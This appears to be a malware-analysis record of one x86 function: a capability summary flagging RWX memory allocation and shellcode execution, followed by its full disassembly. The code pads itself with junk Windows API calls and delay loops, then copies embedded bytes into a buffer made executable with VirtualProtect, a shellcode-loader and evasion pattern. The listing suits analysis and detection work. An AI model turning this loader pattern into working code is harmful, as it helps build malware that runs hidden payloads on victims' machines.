Function at 0x404b5c
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
mov eax, 0x429994
call fcn.004298a0
mov eax, 0x1870
call fcn.00413df0
push ebx
push esi
xor esi, esi
cmp dword [0x88efdc], 0x5b1
push edi
jne 0x404c25
push esi
lea eax, [ebp - 0x87c]
push eax
push esi
push 0x4041b0
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeDisplaySettingsW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push esi
lea eax, [ebp - 0x7c]
push eax
push esi
push esi
push 0x4041f4
push esi
call dword [sym.imp.GDI32.dll_GetCharacterPlacementA]
push esi
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetBoundsRect]
push esi
push dword [ebp - 0x14]
lea eax, [ebp - 0x107c]
push eax
push esi
call dword [sym.imp.SHELL32.dll_ShellAboutW]
lea eax, [ebp - 0x58]
call fcn.00404f0a
push esi
mov dword [ebp - 4], esi
call fcn.00405c8d
pop ecx
call fcn.00405a3d
lea ecx, [ebp - 0x20]
call fcn.004046ec
lea ecx, [ebp - 0x20]
call fcn.00404705
push esi
push esi
call fcn.00406357
push esi
call fcn.00406328
add esp, 0xc
push esi
push esi
call fcn.00405c19
pop ecx
pop ecx
push esi
call fcn.004068cf
add dword [0x88efdc], 0x1134b
push dword [0x88efdc]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x86817c], eax
mov edi, 0x1e6cc
push esi
push esi
call dword [sym.imp.USER32.dll_LoadMenuW]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_CharToOemBuffA]
lea eax, [ebp - 0x20]
push eax
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharABCWidthsFloatA]
dec edi
jne 0x404c46
lea eax, [ebp - 0x14]
push eax
push 0x40
push dword [0x88efdc]
push dword [0x86817c]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x206d47
jg 0x404c9f
inc edi
cmp edi, 0x4f6a4
jl 0x404c85
xor edi, edi
cmp dword [0x88efdc], esi
jbe 0x404cf8
cmp dword [0x88efdc], 0xa8
mov eax, dword [0x88fa40]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x86817c]
mov byte [ecx + edi], al
jne 0x404cef
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameExA]
push 0x404250
lea eax, [ebp - 0x47c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push esi
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
inc edi
cmp edi, dword [0x88efdc]
jb 0x404ca9
xor edi, edi
mov eax, dword [0x88efdc]
add eax, edi
cmp eax, 0xe
jne 0x404d50
push esi
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push esi
lea eax, [ebp - 0x107c]
push eax
push esi
push 0x4042c8
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push esi
push esi
lea eax, [ebp - 0x47c]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
inc edi
cmp edi, 0x39621
jl 0x404cfa
call fcn.00404a36
xor edi, edi
push esi
call ebx
cmp edi, 0x26
jne 0x404d6d
call fcn.00404b42
inc edi
cmp edi, 0x6753f
jl 0x404d60
push 0x7b
pop edi
cmp dword [0x88efdc], 0x86
jne 0x404dcf
lea eax, [ebp - 0x3c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCommState]
push 0x404360
push esi
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelA]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_UpdateResourceW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
push esi
lea eax, [ebp - 0x187c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
call dword [sym.imp.KERNEL32.dll_AreFileApisANSI]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidthA]
dec edi
jne 0x404d79
push 0x40437c
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret